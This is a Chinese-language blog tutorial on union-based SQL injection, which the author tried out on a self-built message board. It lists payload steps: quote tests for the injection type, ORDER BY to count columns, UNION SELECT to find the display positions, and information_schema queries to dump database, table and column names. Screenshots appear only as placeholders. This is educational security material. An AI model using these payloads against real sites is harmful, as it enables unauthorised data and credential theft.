SQL注入原理 :
SQL注入就是web应用程序对用户输入数据合法性的没有判断,攻击者可以在web应用程序中(浏览器中)可以在事先定义好的查询语句(可控参数)结尾额外添加SQL语句,来进行欺骗从而得到进一步的相应数据信息
SQL注入流程和要用的函数 :
1、先判断注入方式 :整数型 ,字符串型 ' , " , ), ') , '))
2、判断列数 有几列( order by )(使用联合查询语句要用到)
3、判断显示位 (union select 1,2,......,n)
4、查数据库名 (select database())
5、查表名 (select group_concat(table_name) from information_schema.tables where table_schema=(select database()))
6、查字段 (select group_concat(column_name) from information_schema.columns where table_schema=database and table_name=table)
我这里是用自己搭建了留言板来做的实验
image首先我们先要来判断注入类型 当在传参后面加上单引号,和双引号都报错的话说明是整数型。(如果加上单引号报错说明是以单引号为闭合的字符串型)这里是我判断的结果
image image image这里是整数型,接下来要判断列数(order by判断)
image image判断列数是为了用union select 语句来判断显示位
image判断了显示位,就可以进行爆数据库,表名和密码了
image image上面两张截图是爆出了数据库名和表名 接下来可以猜出密码和用户名在user表中
image上面爆出了表里的字段证明我们猜的没错用户信息就是在user表中
image上了就是最后的结果了(这是最简单的sql 注入了)最后来看下我的user表
image
网友评论